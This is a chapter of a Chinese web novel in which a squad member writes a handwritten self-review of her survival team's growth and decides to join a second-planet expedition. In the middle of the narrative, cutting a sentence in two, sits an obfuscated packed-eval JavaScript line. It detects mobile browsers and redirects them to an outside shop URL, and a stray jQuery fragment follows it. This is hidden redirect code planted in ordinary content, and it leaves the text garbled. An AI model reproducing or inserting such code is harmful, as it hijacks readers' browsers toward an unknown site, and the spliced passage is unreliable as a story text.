宋雪是在一个没有巡逻任务的下午开始写这份报告的。协调办的个人述职要求每个特殊任务组成员在第二赛季结束后提交一份自评，格式不限，字数不限。她把这份通知反复读了三遍，然后从物资区领了一叠新的打印纸，在岩棚角落的石台边坐下来，开始写她从接到系统绑定通知到现在所经历的一切。不是用键盘，不是用光屏，是用笔。那支笔是温朗给她的，笔杆上印着“蓉城人民广播电台”的字样，漆已经磨掉了大半，握在手里有轻微的凹痕——是温朗以前在电台值夜班时用了好几年的笔。
她从第一天写起。行李箱消失的那个早晨，她以为自己在做清醒梦。独自在荒原上活过的三十天，差点被沙刺虫咬死，在裂谷崖壁上第一次触发感知态。系统上线那天的混乱，她把物资藏在岩缝里假装成无主遗留物，从岩石后面跌跌撞撞跑出来混入人群。她写了砾石小队是怎么一点一点拼凑起来的——温朗穿格子睡衣被传送的那天，方晓蹲在人群里用办公剪刀给伤员清创，陆铮站在人群最外围看沙地，陈知远在信息板前研究系统公告和营地公告的格式差异，吴姐在物资区对着压缩饼干箱子贴手写标签。她没有写“我们是一个团队”，她只是记录了这些碎片，然后把它们留在纸上，让读到的人自己去拼。
然后她写每一个人的成长。她写了方晓如何从急诊科护士变成了全服信赖的医疗顾问，把急救指南从最初清创、止血、包扎、固定的简明步骤一步步扩展到如今涵盖精神力觉醒引导、共生疗法和战地心理安抚的完整体系。写了她发现变异蓝花自主发光光谱的那个下午，也写了实验失败时她在记录上第一次用“失败”这个词。写了陆铮在沙地上蹲了很久，然后说“它们在害怕”——不是攻击意图，不是防御本能，是恐惧。写了他把沙刺虫关节结构融入格斗体系，系统把他的军用格斗重新标注为“渊烬适应性格斗”，后面跟了一个词——“自定义”。写了他给方晓做了一根手柄更细的钓竿。写了温朗从穿睡衣被传送的慌乱播音员，变成了被收录进高校教材的营地日志作者。写了他在晕船时被方晓教会在心里默数下一步，后来又把这句话教给了训练营的学员。写了他的录音笔在菌丝岛丢了充电管家，南半球深海远征队随信寄来了一个用发光海藻编的防水套。写了他那摞封面已经磨破的日志本。写了陈知远趴在便携键盘上睡着时屏幕还亮着光标还在闪。写了他发现沙刺虫是滤食者不是掠食者，发现菌丝网络是信标系统的生物放大器，发现变异蓝花的光谱峰值和信标脉冲之间存在共变关系。写了他每次修正模型都会公开全部数据，在实验失败后把崩溃日志逐行注释，附上一句“能看懂的就看，看不懂的可以学”。最后她写了吴秀兰。写了她用废弃压缩饼干箱折成花盆，用渊晶样本储存罐的密封圈弹簧给方晓改装采样瓶夹子。写了她从超市仓库管理员变成了渊烬种植技术和后勤标准化
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831144|211335||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的奠基人，把物资管理清单写成了被多国后勤组通用的标准化手册。写了她在种植角记录每一盆蓝花的生长数据，在蓝花三号开花那天哭过。写了她叫吴秀兰，秀丽的秀，兰花的兰。
她写完之后停笔，从头到尾读了一遍。纸面上的故事她从头到尾都看过，有些是她亲身参与的，有些是她从温朗的日志里读到的，有些是她从方晓的实验记录、陈知远的数据报告、吴姐的观察笔记里一块一块拼出来的。这些碎片被她整理成一份完整的记录，像把散落在不同抽屉里的旧照片按时间顺序排好。
报告的最后一部分是她的个人决定。她写道：“以上是我的述职。以下是我的决定——我将接受第二星球探索任务。此决定已告知砾石小队全体成员，并获得一致同意。出发时间：待定。预计随行人员：待定。备注：出发前需要和吴姐确认压缩饼干的配给方案。芝麻味多带几包。”
她把报告装订好，在封面写上“个人述职报告——宋雪”。然后她站起来，走到岩棚外面，把报告放在温朗那摞日志本旁边。吴姐从种植角方向走过来，手里端着两杯热水，把一杯递给她。蓝花十一号的花苞已经微微绽开，露出一线极淡的蓝色。吴姐说大概再过几天就会完全开了，能赶上。宋雪问赶上什么，吴姐说赶上出发。宋雪低头看着手里的水杯，杯沿上插着那根用碎渊晶边缘打磨的搅拌棒。她说芝麻味的得多带几包，吴姐说已经留好了。